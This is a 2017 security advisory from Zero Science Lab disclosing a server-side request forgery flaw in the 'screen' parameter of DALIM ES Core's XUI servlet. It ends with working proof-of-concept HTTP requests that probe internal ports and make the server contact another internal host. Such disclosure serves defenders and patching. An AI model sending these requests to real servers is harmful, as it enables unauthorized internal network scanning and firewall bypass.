DALIM SOFTWARE ES Core 5.0 build 7184.1 Server-Side Request Forgery Vendor: Dalim Software GmbH Product web page: https://www.dalim.com Affected version: ES/ESPRiT 5.0 (build 7184.1) (build 7163.2) (build 7163.0) (build 7135.0) (build 7114.1) (build 7114.0) (build 7093.1) (build 7093.0) (build 7072.0) (build 7051.3) (build 7051.1) (build 7030.0) (build 7009.0) (build 6347.0) (build 6326.0) (build 6305.1) (build 6235.9) (build 6172.1) ES/ESPRiT 4.5 (build 6326.0) (build 6144.2) (build 5180.2) (build 5096.0) (build 4314.3) (build 4314.0) (build 4146.4) (build 3308.3) ES/ESPRiT 4.0 (build 4202.0) (build 4132.1) (build 2235.0) ES/ESPRiT 3.0 Summary: ES is the new Enterprise Solution from DALIM SOFTWARE built from the successful TWIST, DIALOGUE and MISTRAL product lines. The ES Core is the engine that can handle project tracking, JDF device workflow, dynamic user interface building, volume management. Each ES installation will have different features, depending on the license installed: online approval, prepress workflow, project tracking, imposition management... ES is a collaborative digital asset production and management platform, offering services ranging from online approval to web-based production environment for all participants of the production cycle, including brand owners, agencies, publishers, pre-media, printers and multichannel service provider. ES lets users plan, execute and control any aspect of media production, regardless of the final use of the output (print, web, ebook, movie, and others). It ensures productivity and longterm profitability. Desc: A server-side request forgery (SSRF) vulnerability exists in the DALIM Web Service management interface within the XUI servlet functionality. The DALIM web services are a set of tools used by the different DALIM SOFTWARE applications: TWIST, MISTRAL and ES. It provides file sharing capabilities, JDF devices, JDF controller, and job spooling management. The application parses user supplied data in the GET parameter 'screen' to construct a page request to the service. Since no validation is carried out on the parameter, an attacker can specify an external domain and force the application to make a HTTP request to an arbitrary destination host. This can be used by an external attacker for example to bypass firewalls and initiate a service and network enumeration on the internal network through the affected application. Tested on: Red Hat Enterprise Linux Server release 7.3 (Maipo) CentOS 7 Apache Tomcat/7.0.78 Apache Tomcat/7.0.67 Apache Tomcat/7.0.42 Apache Tomcat/6.0.35 Apache-Coyote/1.1 Java/1.7.0_80 Java/1.6.0_21 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5428 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5428.php 15.06.2017 -- 1. Check for open port: ----------------------- GET /dalimws/xui?screen=http://127.0.0.1:8888 HTTP/1.1 Host: 192.168.1.2:8080 Accept: */* Accept-Language: en Connection: close <Error message="java.net.ConnectException: Connection refused org.w3c.dom.DOMException: java.net.ConnectException: Connection refused&#10;&#9;at 2. Check for open port: ----------------------- GET /dalimws/xui?screen=http://127.0.0.1:8080 HTTP/1.1 Host: 192.168.1.2:8080 Accept: */* Accept-Language: en Connection: close <Error message="org.xml.sax.SAXParseException: The reference to entity &quot;ctype&quot; must end with the ';' delimiter. org.w3c.dom.DOMException: org.xml.sax.SAXParseException: The 3. Observe server-side request: ------------------------------- GET /dalimws/xui?screen=http://192.168.1.55 HTTP/1.1 Host: 192.168.1.2:8080 Accept-Language: en-US,en;q=0.8,mk;q=0.6 Connection: close Request from 192.168.1.2 to 192.168.1.55 observed: GET / HTTP/1.1 Cache-Control: no-cache Pragma: no-cache User-Agent: SSRF/Test_1.4 Host: 192.168.1.55 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive